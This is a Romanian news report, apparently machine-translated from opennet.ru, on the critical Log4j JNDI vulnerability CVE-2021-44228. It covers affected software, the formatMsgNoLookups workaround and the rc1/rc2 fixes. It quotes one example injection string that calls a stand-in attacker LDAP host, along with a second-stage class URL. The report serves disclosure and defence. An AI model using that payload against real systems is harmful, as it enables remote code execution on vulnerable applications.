În Apache Log4j, un cadru popular pentru organizarea înregistrării în aplicațiile Java, a fost identificată o vulnerabilitate critică care permite executarea unui cod arbitrar atunci când o valoare special formatată în formatul „{jndi:URL}” este scrisă în jurnal. Atacul poate fi efectuat asupra aplicațiilor Java care înregistrează valorile primite din surse externe, de exemplu, atunci când se afișează valori problematice în mesajele de eroare.
Se observă că aproape toate proiectele care utilizează cadre precum Apache Struts, Apache Solr, Apache Druid sau Apache Flink sunt afectate de problemă, inclusiv Steam, Apple iCloud, clienții și serverele Minecraft. Este de așteptat ca vulnerabilitatea să ducă la un val de atacuri masive asupra aplicațiilor corporative, repetând istoria vulnerabilităților critice în cadrul Apache Struts, care, conform unei estimări aproximative, este folosit în aplicațiile web de 65% din Fortune. 100 de companii, inclusiv încercări de scanare a rețelei pentru sisteme vulnerabile.
Problema este agravată de faptul că un exploit de lucru a fost deja publicat, dar remedieri pentru ramurile stabile nu au fost încă compilate. Identificatorul CVE nu a fost încă atribuit. Remedierea este inclusă numai în ramura de testare log4j-2.15.0-rc1. Ca o soluție pentru blocarea vulnerabilității, este recomandat să setați parametrul log4j2.formatMsgNoLookups la true.
Problema a fost cauzată de suportul oferit de log4j pentru procesarea măștilor speciale „{}” în liniile de jurnal, care puteau fi utilizate pentru a efectua interogări JNDI (Java Naming and Directory Interface). Atacul se reduce la transmiterea unui șir de caractere cu substituția „${jndi:ldap://attacker.com/a}”, pe care, odată procesat, log4j îl va trimite. serverului Interogare LDAP attacker.com pentru calea de clasă Java. Returnat Server Calea atacatorului (de exemplu, http://second-stage.attacker.com/Exploit.class) va fi încărcată și executată în contextul procesului curent, permițând atacatorului să execute cod arbitrar pe sistem cu privilegiile aplicației curente.
Anexa 1: Vulnerabilitatea i s-a atribuit identificatorul CVE-2021-44228.
Anexa 2: A fost identificată o modalitate de a ocoli protecția adăugată prin lansarea log4j-2.15.0-rc1. O nouă actualizare, log4j-2.15.0-rc2, a fost propusă cu o protecție mai completă împotriva vulnerabilității. Codul evidențiază modificarea asociată cu absența unei terminații anormale în cazul utilizării unui URL JNDI format incorect.
Sursa: opennet.ru
